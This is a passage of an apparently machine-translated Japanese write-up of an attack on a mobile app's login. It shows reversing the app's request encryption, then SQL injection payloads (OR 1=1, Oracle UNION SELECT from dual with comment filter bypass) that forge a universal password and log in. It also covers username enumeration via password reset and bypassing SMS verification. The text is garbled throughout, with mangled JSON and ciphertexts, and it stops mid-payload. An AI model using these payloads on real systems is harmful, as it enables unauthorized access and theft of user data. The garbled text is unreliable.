1。アプリパケットキャプチャと逆クラッキング暗号化アルゴリズム
オープンアプリはログインボックスです
パケットをキャッチした後、パラメーターが暗号化されました
JADXオフソースコードを使用して、砲撃や混乱がないことがわかりました。とても幸運でした。
Experienceによると、暗号化、復号化などのキーワードを最初に検索し、Common.jsに暗号化機能があることがわかりました。
過去の配置、暗号化と復号化アルゴリズムのセットが書かれてここに配置されています
ブラウザコンソールに入れてデバッグしてください、それは本当です
2。注入点を見つけます
最初に注入をテストします
プレーンテキスト: {'username':'test' '、' password':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20。 06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'86516023309431 '、' version ':'new '}
パスワード: QSXBDUSV0QPJKD5TWYR90SSHKWZZFVIPKWUNFCK1GZZPKEZVJWWJ2ASJDZWXWRL5KURRVMFTWZOBHWTVUMR1KWSZZFV4TMRSBFBYIWCSV0YXRGBZWEBTSD 0T0J1RJFWNXNLMRMRBTUHZLBSRNTXF2SOVEVWZEBSBFCZEWVXAJVLXMMMZZYVY0D1TYP0VHNDBXNFNSVVYQX2VWHKTX50U41WW3JVNLMTUNFR4VVYSJVUVUF dbgjltwhuxftvhzhcxnvmspnvobnbtlfcxy1qobtwvbhmr1ebxjvc4vuzw0ebubxotfmswh1tyzubulteasdfw1attpxmmkbhbhbwe2ckpw1okvilgatnf C5UVYWRGMZFTSW1KAA52UEHXVHPLUSR1DWSWYOHGWTBXOVFMUXITWYI1VNPGCUJFSODVYZW2VTVNRW1KVATWVZXX2AOPKTSDFMAVLYVLIVXMBWLXTX10SSHLW結果:アプリは例外を返します
プレーンテキスト: {'username':'test' '' '' '' '' '' '' '' '' '' '' '' '' :'123456 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20 .06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'865166023309431 '、' version ':'new '}
パスワード: jdfmqjvrdlmq2l3ahjlwxfmaox2vxaxvhbhbfbh5uejd0ypvjmznhcsjmsoh1uufzaljluxq1mxwzgwrfxnr1krsxgv5nwbhpkwunfvgdky4nmvzbhzyfms A52VZZUBNTEBYQFCGZLYPHWBTVHBWF2MSD1UWHWBL5KVUJVCAZVY2B3VTPNWXIVYAHVT0XGMJPKTWRFC50WYKHXBRLLLVXZVMJZVW1XMESLGBYQGCSVUTCB3RU LXRRFWTKH1UXX2AOPEBTLLM41WTQXMBWRNWXQ2QOZ1VWRGWHWAII5EVXUFZWB3VTJZAVFWAAHKY510VLDVMTZLNSRLYK5EWTRECGNWITWYZLEWPFBYI wcsvkydhmvazvnw0uasjdzwx2anzlurrnsvkvoxmmifhbwe2sopwzvdmnpgatfvdsbzykxmbtvnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは通常のを返します
プレーンテキスト: {'username':'test'or'1'='1'、 'password ':'123456'、 'ostype'3360'android'、 'osversion ':'5.1'、 'appversion ': '20 .06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version'new '}
パスワード: k0vwaluufnuaczxerfwrspfcod0vzlbtbxovfgfgmjpw3vzaipgetdvdsbzyk5kvuzjrgzfukhfvv2etvljedrvevvkvkvkeafhbr5ksozvwzzkewhg byqgcstgzh HMVZL3BVFGUSDVVV0P0RHTUNXDFCKHVYKZLHZTMV5KRW1MVWLTBHPHPKTUZFSWXGZ4BZVTPHBWULTSJYXXWRINEAWPLVWPNVOVZVPHPK4B DZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxm vsrlejdvyzw2vtlxvggj1twh1uvftvhzhcxnlcwbttphgbupxthf2q1c1u6xwvlteb6lfvxsmyk5kazvnrw1kvatwvzx2aopktsdfmavyvlyvwlxtx10sshlw結果:アプリは通常のを返します
この時点で、ログインポイントは注入であると判断できますが、結果は常に「ユーザー名またはパスワードが間違っている」ということです。つまり、「または「1」='1が使用されます。
戻り結果に基づいて、バックエンドのログインのロジックコードはこのようなものかもしれません
userInfo='select * from userinfo where username=username';
userPass=userInfo.password; if(userpass==password){return 'login success';
} else {return 'login failed';
}ユニオンインジェクションを介してユニバーサルパスワードを構築すると、ユーザーがログインする可能性があります。テストプロセスは次のとおりです。
最初にテストで順序を使用し、フィールドの数が9であることを知ってください、ペイロードを作成します
#ターゲットサーバーにはフィルタリングがあるため、ここに単純なパスプレーンテキストがあります:{'username'3:'test'union/**/select/**/null、null、null、null、null、null、null、null、null、null、null - null - '、' password ':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20.06.04 '、' logintyp E':'1 '、' Model':'V1938T '、' Brand':'Vivo '、' imei'3360'865166023309431 '、' version ':'new '} ciphertext: jdfmqj vrdlmq2l3ahfkaipktqzfdkdvy2b3vtfdb6zfaw52uzbhbntktfrfcwtwzojkehvumrvmtwdfvzwgbh9eayzvc1uktkxmubhdubhdyyy ky0xgm jpebulve3dlyrxmmifhbwewmjz1v1axvipktynfrazktojvmurdbgjmsar1uep0rinlsqlfmwbtunx2vsfhbr5ksox2vzg3rtdlvijwevxgz0e zvtphbwe1tkhktwvdmkbttvrvnsvvyqx2rolxshn2t1itwzbhbspgzujfdsbzyk5kvufjvrfwtgr1uwltvhbtsql1d1d1smyqhxbxttr2sovev wzumwhmwunvswzfzhfzvtjzawuvykhkyjpfblvdmxnlesvvypzevvztmvvvmrwd1uysgmrfgby9uezxwzwzphmvxndcwevtsdvuuhxrkjktrll1baz 0UHR2RNLXSXVWYKV1U6H2MWTMVIVGRKJZYXVZPHZZIVAGRLTIHHMJRDZGPVMONTUP5KBWVNSYM2MKTW4VLES1KTIVGWSDFZ040AZPN wsjwaondzip0vnftserfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:アプリは正常に返されます
Oracleは、ユニオンクエリを実行するときにもフィールドデータ型をテストする必要があるため、対応するフィールドデータ型もテストする必要があります。最終結果は次のとおりです
#ここでパスワードを123に変更して、ユニオンによって構築されたユニバーサルパスワードが実行可能かどうかをテストすることに注意してください。 {'username':'test'union/**/select/**/1、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 12 3 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、' 123 '、1デュアルから - '、' password ':'123 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20.06.04 '、' logintype '' :'1 '、' Model ':'V1938T '、' Brand':'Vivo '、' imei':'865166023309431 '、' version':'new '} ciphertext: QSXBDUSV0 QPJKD5TWYB1UDSBTXFTBZBXOTFMSWH1TYZUBLTEASDVEVBTUNX2VSZTMF1KCSVFV2EZAH5EZYDVC1UZWBXBUBZAVFGUSJTYYBNRKNXMXNLES vvzpperirnuxfmdwd1uyzlewpfbunfdsbzyk50awbdmfzfuoh1vzx2aopktrl1ckxwtpjlbtreevfmrwd1uysgmvfgzijwsazfzzpkxkkaxjma SOH1UEVDMKBZATR1MSPXUOXGWTBXOVFGMJPWW3VZAIPGETD1ROJDZZZHFZVTPHBWULTWHLUXHXVNPEBYQFCFCSPWTPJKBUVNTHJWYGPXWYAHMR1EB XVFWG1GZLH2AXFJWVJMMSAR1UUBXMKNHARZLNSRLYK5EWTVTMVVMRWD1UYSGBY99UEZXWZPHMVXNDCWEVTSDVUHXRKNDZWDFEJFJPPR ntxj2qozfv650vl5ebyjlnwbzyqxgwuvjvjvrv2sontw1etvlzecunleodvzoxgwszdcwmmashfv1y1altktktzkvnxuvzgbnbtppntpntxvm tshlu2ahmjzecirfe5cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsddfmavlyvxmbwlxtx10sshlw結果:プロンプトは弱いパスワードです(この方法が実行可能であることを示します)
次に、1つのフィールドと1つのフィールドを変更して、パスワードフィールドに対応するフィールドを決定します。テスト結果は次のとおりです
#パスワードをCESHI123 @@@に変更したことに注意してください。
プレーンテキスト:{'username':'test'union/**/select/**/1、' 123 '、' 123 '、' ceshi123 @@ "、 '123'、 '123'、 '123'、 '123'、 '123'、 '123'、1 '、' password ':'ceshi123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' logintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}
パスワード: k0vwaluufnuaczxxerfwuptebip1cwrlykpfvtbnstr2ckpxw1olvitgbyqgcgsvuzoj1auftrrvmtwhmtwhzanp luwrferzkuqxmmifhbfn2vkxw3bhmr1ebh9edsd0yhvzvtjzawevyw5mu050vhtktfrfcgxmuqb3mhvvmwy1s SJDVWR2MWFGDX9EWKDVYZW2VTRDBVFGUSDLVI50VONFETL1DS1WTP5KBREEVFMUSVFVXWMRS5KVYFVCXUVY2B3 vtfdb6zfaw52uzbxmwneawk1bwbtunx2vsfhefvgmnxgvwltbhpkvy9ewg1wzlhgbxhvnw0uasjdzwxgmhnnsqlv nkzlyphwbtbxovfmvkbtwxkkvnpmwunfr4vvyczvvvvjunrfmtontyizubldlsuvfc50wykrxbtpxshd1topxwvp 0AIPKTYNFRSVEZ310AZ9MWGNVYKDUT5L0VLFGZVNFNKHVZLBHWTVVMRJ2MS52U2WWRW5UNYQWNWTWZKJLVUVHZYV 2SWH1UVFZAINDBUNLQKVLUSBHWTVVMFN2BKPXWZVTRNTKTZKVNXUVZGBNBTPNTXVMTSHLU2AHMJZECIRFE5 cvznjkauhfcxm2vkpxwykzvhxkwi5uejd0yxmmravnrw1kvatwvzx2aopktsdfmavlyvxmbwlxtx10sshlw結果:迅速なログイン成功
バイパス後、プログラムに例外があることがわかりました
ユーザー名(ユーザー名)、StaffID(従業員番号)、電子メール(電子メール)、StaffName(名前)、Tel(携帯電話番号)、モバイル(携帯電話番号)など、返されたデータを注意深く観察します。ただし、これらのデータは自分で構築されたばかりです。ここでは、後続のログインプロセスには実際のユーザー情報が必要です。
幸いなことに、実際のユーザー情報を取得する場所はまだあります
3。パスワードを忘れてユーザー名を破る
アプリにはパスワードを忘れる機能もあります(通常、ここでユーザー名を爆発させることができます)
パスワードを忘れてユーザー名が存在するかどうかを判断する機能を使用できます。ここで私は辞書を実行したばかりで、多くのユーザー名が出てきました。
4。 SMS検証コードの亀裂
これらのユーザー名を自然に使用して、SMS検証コードを使用してログインします
確認コードを取得してから、データパケットを復号化すると、驚くべき発見がユーザーの基本情報を返します
ログインに基づいてペイロードを再テストし、最終結果は次のとおりです
プレーンテキスト: {'username':'test \' nion/**/select/**/staffid、\ 'qwe123 @@@@ \'、\ 'username \'、\ 'qwe123 \ \'、\ 'mobile \'、\ 'mobile \'、\ '\' 8651602313デュアル - '、' password ':'qwe123 @@@ '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion ':'20.06.04 '、' l ogintype':'1 '、' model':'v1938t '、' brand ':'vivo '、' imei':'865166023309431 '、' version ':'new '}
パスワード: